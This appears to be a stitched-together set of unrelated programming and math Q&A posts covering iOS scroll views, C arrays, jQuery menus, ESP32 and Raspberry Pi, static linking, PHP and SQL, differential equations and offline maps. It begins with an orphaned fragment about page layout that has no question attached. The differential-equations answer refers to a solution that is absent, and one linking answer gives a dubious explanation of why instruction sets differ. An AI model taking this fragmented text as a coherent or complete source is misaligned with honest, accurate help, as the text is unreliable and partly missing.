Though not necessary to any solution I'll just explain why I want this outcome.  The document consists of about 40 'entries' each relating to a piece of music and consisting of a shaded portion (track info + picture) followed by standard text (my commentary). My wish is to avoid both (b) the white spaces that would result from beginning each entry on a fresh page and (b) the shaded 'blocks' (some almost half a page high) splitting over two pages, which is what I'd get were the entries to be run on.
I'll doubtless end up filling the white spaces with more pictures but before doing so want to make sure my ideal outcome is outside the realm of the possible.


text:
Q: How to pass touch events from one view to another I have a UIScrollView with a UIView subview, which has a UITableView subview. What I want is for the container scroll view to scroll when the user scrolls on the UITableView. Is there a way to pass the touch event from the child UIScrollView to the container UIScrollView? Thanks for you help. Here is the code for the scroll view. The parent scroll view is created in code, and the subviews are created in IB.
CGFloat offset = ([[UIDevice currentDevice].systemVersion floatValue] >= 7.0) ? 64.0 : 44.0;
self.parentScrollView = [[UIScrollView alloc] initWithFrame:CGRectMake(0.0, offset, 320.0, self.view.frame.size.height - offset)];
self.parentScrollView.delegate = self;
self.parentScrollView.bounces = NO;
self.parentScrollView.contentInset = UIEdgeInsetsMake(self.header.frame.size.height - offset, 0, 0, 0);
self.parentScrollView.delaysContentTouches = NO;
[self.view addSubview:self.parentScrollView];

[self.contentView.tableView registerNib:[UINib nibWithNibName:@"PodcastCell" bundle:[NSBundle mainBundle]] forCellReuseIdentifier:@"PodcastCell"];
[self.contentView.tableView registerNib:[UINib nibWithNibName:@"DescriptionCell" bundle:[NSBundle mainBundle]] forCellReuseIdentifier:@"DescriptionCell"];
self.contentView.delegate = self;
self.contentView.tableView.delegate = self;
self.contentView.tableView.dataSource = self;
[self.parentScrollView addSubview:self.contentView];
self.parentScrollView.contentSize = CGSizeMake(320.0, self.contentView.frame.size.height);

Sorry I didn't explain this very well. I need the parent UIScrollView to scroll until the child UITableView reaches the top of the parent, at which point the parent UIScrollView should stop scrolling, and the child UItableView should start scrolling. Does that make sense?

A: Implement scrollViewDidScroll: in your UITableView, calculate the contentOffset then call setContentOffset:animated: from your container view.


text:
Q: Initialize array after declaring in C I am trying to do the following but am getting the following error:

"error: expected expression before { token

Test_Stubs.h
#define SIGNATURE 0x78,0x9c

Test.c
#include "Test_Stubs.h"

static unsigned myArray[100];

static void
setup(void)
{
    myArray = {SIGNATURE};
}

EDIT
Follow on question:
Is there a way to assign the individual values in the #define to specific indexes of myArray? For instance...
#include "Test_Stubs.h"

static unsigned myArray[100];

static void
setup(void)
{
    myArray[0] = SIGNATURE[0]; //0x78
    myArray[1] = SIGNATURE[1]; //0x9c
}

Clearly the above code will not code as SIGNATURE is neither an array or pointer.

A: As per the C syntax rules, you can only initialize an array using a brace enclosed initializer list at the time of definition.
Afterwards, you have to initialize element by element, using a loop, or, if you need to initialize all the elements to the same value, you can consider using memset().

EDIT:
No, as I mentioned in my comments, as per your code snippet, SIGNATURE is neither an array name, nor represent any array type, so you cannot use indexing on that.
However, using compound literal (on and above C99), if you change your #define, then, somehow, you can make this work. See the below code for example,
#include <stdio.h>

#define SIGNATURE ((unsigned [100]){0x78,0x9c})

static unsigned myArray[100];

int main (void)
{
    myArray[0] = SIGNATURE[0]; //0x78
    myArray[1] = SIGNATURE[1]; //0x9c

    return 0;
}

See a LIVE VERSION


text:
Q: selectmenu indent text in jquery I've a select. And I want to have a cascading display between parent and child. All is dynamic.
I want something
Parent1
  |---Child1
  |---Child2
  |     |---Child21
  |     |     |---Child211
  |     |---Child22
Parent2

...
I write this code:
 $(function () {
    GetlstParents();
    $("#lstFiltreFamParent").selectmenu().selectmenu("menuWidget").addClass("lstFiltreoverflow");

    });

    function GetlstParents() {
    $.ajax({
        type: "POST",
        url: "/Classement/Interne.aspx/GetlstParents",
        data: '{"PageEnCours":"' + document.location.href.toString() + '"}',
        contentType: 'application/json; charset=utf-8',
        dataType: "json",
        success: function (msg) {
            if (msg.d.Retour.Reussi) { BuildLstParents(msg.d.LstParents); }
            else { AfficheMsgRetour(msg.d.Retour); }
        },
        error: function () { AfficheMsgRetour({ Reussi: false, Titre: "Liste des classements   parents", Msg: "Erreur accès fonction." }); }
    });
    }

    function BuildLstParents(Lst) {
    var LaList = $("#lstFiltreFamParent");
    $('option', "#lstFiltreFamParent").remove();
    //var Spacelst = "|     ";
    var Spacelst = "|         ";
    $.each(Lst, function (i, item) {
        LaList.append($('<option>', { value: item.Id,  text: Spacelst.repeat(item.Depth -1) +"|--- " +  item.DisplayName }));
    });
    }

It's run perfect, the only problem is the white space are smaller than a letter. And the display is not really good.
I've 3 choises

*

*change font ... I prefer solution work with all font

*replace white space by ...?

*use CSS : but how put recurcive ?

A: I change a little my mind. Its better to let custom list in local machin, not by the server
Then in jquery, I create a function
function BuildLstParents(Lst) {
var LaList = $("#lstFiltreFamParent");
$('option', "#lstFiltreFamParent").remove();
var Spacelst = "|      ";
$.each(Lst, function (i, item) { $('<option id="' + item.Id + '">' + (item.Depth==0?item.DisplayName.capitalize():Spacelst.repeat(item.Depth - 1) + "|--- " + item.DisplayName.capitalize()) + '</option>').appendTo(LaList); });
}


text:
Q: newb to arduino, how to navigate the ESP8266 vs ESP32 examples and tutorials? a big thanks to the many before me creating this space and solving many questions.
I've been learning ESP32 (currently using ESP-WROOM-32 board) while I've found tutorials specific to this board, also finding cool examples built for ESP8266 which are close but using different pins (this I can fix) and different imported libraries (which I'm struggling with).
What's the most complete ESP32 tutorial series you've found?
I'll also be working through similar examples on uno, raspberri pi, so I'm expecting to run into this issue in future. Just curious how others deal with the pedantics of different libraries for different hardware..
any pointers appreciated.

A: Raspberry pi libraries and features are too wide to be covered in one answer. However, I can give you some pointers that helped me a lot.
Most of the programming will be done using Python. Most common libraries can be installed via PIP (the package management for python). You can access all sorts of things: image capture, GPIO, communication protocols and custom libraries.
Most often, you want to automate things on your Pi, two options can be used. You can set a python script as a service (example here) using systemd or you can use a Cronjob (sudo crontab -e) The service run at startup and can run continuously while a Cronjob is scheduled to happen at fixed time interval (example: reboot at midnight...). There are probably other ways to do automation and scheduling, but I found that those were easy enough to use without over-complicating things.
Keep in mind that a Raspberry pi is a different beast compared to the ESP series of micro controller. You get the full access and potential of a Linux platform with a slightly more limited interfacing potential(No readily available analog input/output is probably THE single frustration I had with the Pi). You can always interface another board via some serial protocol.
Regarding the other platforms, it's all about your intended usage. It's hard to point you toward a specific group of libraries. For my narrow usage of esp8266, Sparkfun Electronics tutorials were good enough. For Arduino, it is so widely supported that a simple google search willy yield you exactly what you want (there is also a stackexchange dedicated to that specific platform).
At the end of the day, most libraries are often quite similar and switching from one device to the other become more of a habit than anything else. I know that a lot of Arduino libraries are migrated to ESP platform so they even share common functions that are virtually the same in both platform.


text:
Q: Will statically linked c++ binary work on every system with same architecture? I'm making a very simple program with c++ for linux usage, and I'd like to know if it is possible to make just one big binary containing all the dependencies that would work on any linux system.
If my understanding is correct, any compiler turns source code into machine instructions, but since there are often common parts of code that can be reused with different programs, most programs depend on another libraries.
However if I have the source code for all my dependencies, I should be able to compile a binary in a way that would not require anything from the system? Will I be able to run stuff compiled on 64bit system on a 32bit system?

A: In short: Maybe.
The longer answer is:
It depends. You can't, for example, run a 64-bit binary on a 32-bit system, that's just not even nearly possible. Yes, it's the same processor family, but there are twice as many registers in the 64-bit system, which also has twice as long registers. What's the 32-bit processor going to "give back" for the value of those bits and registers that doesn't exist in the hardware in the processor? It just plain won't work. Some of the instructions also completely change meaning, so the system really needs to be "right" for the compiled code, or it won't work - fortunately, Linux will check this and plain refuse if it's not right.
You can BUILD a 32-bit binary on a 64-bit system (assuming you have all the right libraries, etc, installed for both 64- and 32-bit, etc).
Similarly, if you try to run ARM code on an x86 processor, or MIPS code on an ARM processor, it simply has no chance of working, because the actual instructions are completely different (or they would be in breach of some patent/copyright or similar, because processor instruction sets contain portions that are "protected intellectual property" in nearly all cases - so designers have to make sure they do NOT do "the same as someone else's design"). Like for 32-bit and 64-bit, you simply won't get a chance to run the wrong binary here, it just won't work.
Sometimes, there are subtle differences, for example ARM code can be compiled with "hard" or "soft" floating point. If the code is compiled for hard float, and there isn't the right support in the OS, then it won't run the binary. Worse yet, if you compile on x86 for SSE instructions, and try to run on a non-SSE processor, the code will simply crash [unless you specifically build code to "check for SSE, and display error if not present"].
So, if you have a binary that passes the above criteria, the Linux system tends to change a tiny bit between releases, and different distributions have subtle "fixes" that change things. Most of the time, these are completely benign (they fix some obscure corner-case that someone found during testing, but the general, non-corner case behaviour is "normal"). However, if you go from Linux version 2.2 to Linux version 3.15, there will be some substantial differences between the two versions, and the binary from the old one may very well be incompatible with the newer (and almost certainly the other way around) - it's hard to know exactly which versions are and aren't compatible. Within releases that are close, then it should work OK as long as you are not specifically relying on some feature that is present in only one (after all, new things ARE added to the Linux kernel from time to time). Here the answer is "maybe".
Note that in the above is also your implementation of the C and C++ runtime, so if you have a "new" C or C++ runtime library that uses Linux kernel feature X, and try to run it on an older kernel, before feature X was implemented (or working correctly for the case the C or C++ runtime is trying to use it).
Static linking is indeed a good way to REDUCE the dependency of different releases. And a good way to make your binary huge, which may be preventing people from downloading it.
Making the code open source is a much better way to solve this problem, then you just distribute your source code and a list of "minimum requirements", and let other people deal with it needing to be recompiled.

A: In practice, it depends on "sufficiently simple". If you're using C++11, you'll quickly find that the C++11 libraries have dependencies on modern libc releases. In turn, those only ship with modern Linux distributions. I'm not aware of any "Long Term Support" Linux distribution which today (June 2014) ships with libc support for GCC 4.8

A: The short answer is no, at least without serious hack.
Different linux distribution may have different glue code between user-space and kernel. For instant, an hello world seemingly without dependency built from ubuntu cannot be executed under CentOS.
EDIT: Thanks for the comment. I re-verify this and the cause is im using 32-bit VM. Sorry for causing confusion. However, as noted above, the rule of thumb is that even same linux distribution may sometime breaks compatibility in order to deploy bugfix, so the conclusion stands.


text:
Q: Get data from exploded values I have been trying to get data from exploded values, but I am failing miserably and I am completely clueless despite all the researching I've been doing.
This is how the code looks like:
$array = explode(",", $hos['prop_owner']);
list($a) = $array;
$gu = $db->prepare("SELECT * FROM users WHERE user_id = :id");
$gu->execute(array(':id' => $a));
$dau = $gu->fetch();

echo $hos['prop_name']."
";

if(end($array)){
    echo "".$dau['user_name']."
";
} else {
    echo "".$dau['user_name'].",";
}

Currently, the database field $hos['prop_owner'] contains the values "2,20" which are IDs of users (this field can potentially contain more IDs in the future). What I want to do is get all the user data from the exploded values, in this case 2 and 20, and then echo the information out in order as well.
Re-explanation:
I have a field in my database called prop_owner which is supposed to contain an unlimited number of user IDs, seperated by comma. Format: 1,2,3,4.
I want to take the value from this field, then somehow separate the user IDs and  separately retrieve the usernames and echo them out.
Example result: Darren, Eva, Miles, Lisbeth
I hope I explained myself good enough to understand where I am trying to go with this.
Thanks in advance!

A: First of all the query will be like
SELECT * FROM users WHERE user_id in (2,20)

You need the data of both the users so the query will return all the data of all the ids that are being passed here..
You can directly pass here but you need to take care of security... or may be you can check how to pass values securely in such queries ...


text:
Q: Special solution of following system of differential equations Suppose now system of differential equations, namely,
$$
\begin{equation} \ddot{y}(t) + \omega^{2}y(t) = \dot{z}(t) \\ \dot{z}(t) = (-A+\dot{y}(t))z(t)\end{equation}
$$
I want to check, for which $y(t)$ the second derivative $\ddot{y}$ is zero. Combining the first and the second equations, I obtain following differential equation:
$$
(-A+\dot{y}(t))z(t) - \omega^{2}y(t) = 0
$$
The question: may I divide on $z(t)\neq 0$, and after that differentiate obtained equation with respect to $t$, again setting $\ddot{y}$ to zero?
This question arises, because if I don't divide on $z(t)$, then the equation on $\dot{y}(t)$ will look differently after derivating with respect to $t$, and I don't understand, why.

A: If you are looking for approximate solution [according to your comment] in the case  $\omega=0$ see the solution below :

$c_1$ , $c_2$ , $c_3$ are constants.


text:
Q: Offline maps with markers I have a requirement to create a web based application, which is hosted on a intranet server(no internet access). This application will be used to keep track of various status over in the various geographical location, the locations are currently spanned within Asia.
I have read up on google map api, and it seems that it is against their policy to use their map offline. On the other hand, the custom markers is something that I am interested in. I am considering to make use of the marker concept to show the status of the area.
Hence sample example of the status can be denoted by having red as error, green as working properly, and this will be updated every 1 hour.
Any bros have done similar concept and will be willing to guide me? The offline maps is preferred to be free, however if a paid version proves to be useful, it can be considered.

A: Seems like you could use a combination of MapServer as mapping server and openstreetmap as data source (maps for asia are available, but it depends on the level of zoom, precision and update you are willing to work with) and OpenLayers  to load, display and render your markers and data.
Links :

*

*MapServer :http://mapserver.org/index.html

*OpenStreetMap : http://www.openstreetmap.org/

*OpenLayers : http://openlayers.org/
Notice : you can find .shp versions of openstreetmap for offline viewing and usage, free of charges, here : http://downloads.cloudmade.com/ , and here : http://download.geofabrik.de/osm/
And here is a MapServer Tutorial for C# mapscript (ASP .NET) : http://www.paolocorti.net/2006/09/20/mapserver-tutorial-for-c-mapscript-asp-net/

A: Google Maps/Earth will only allow you to store 2Gb of map data locally. The API will not let you store any at all. There is no way to use the maps offline. However you can try downloading images from NASA World Wind: http://worldwind.arc.nasa.gov/java/ it is opensource.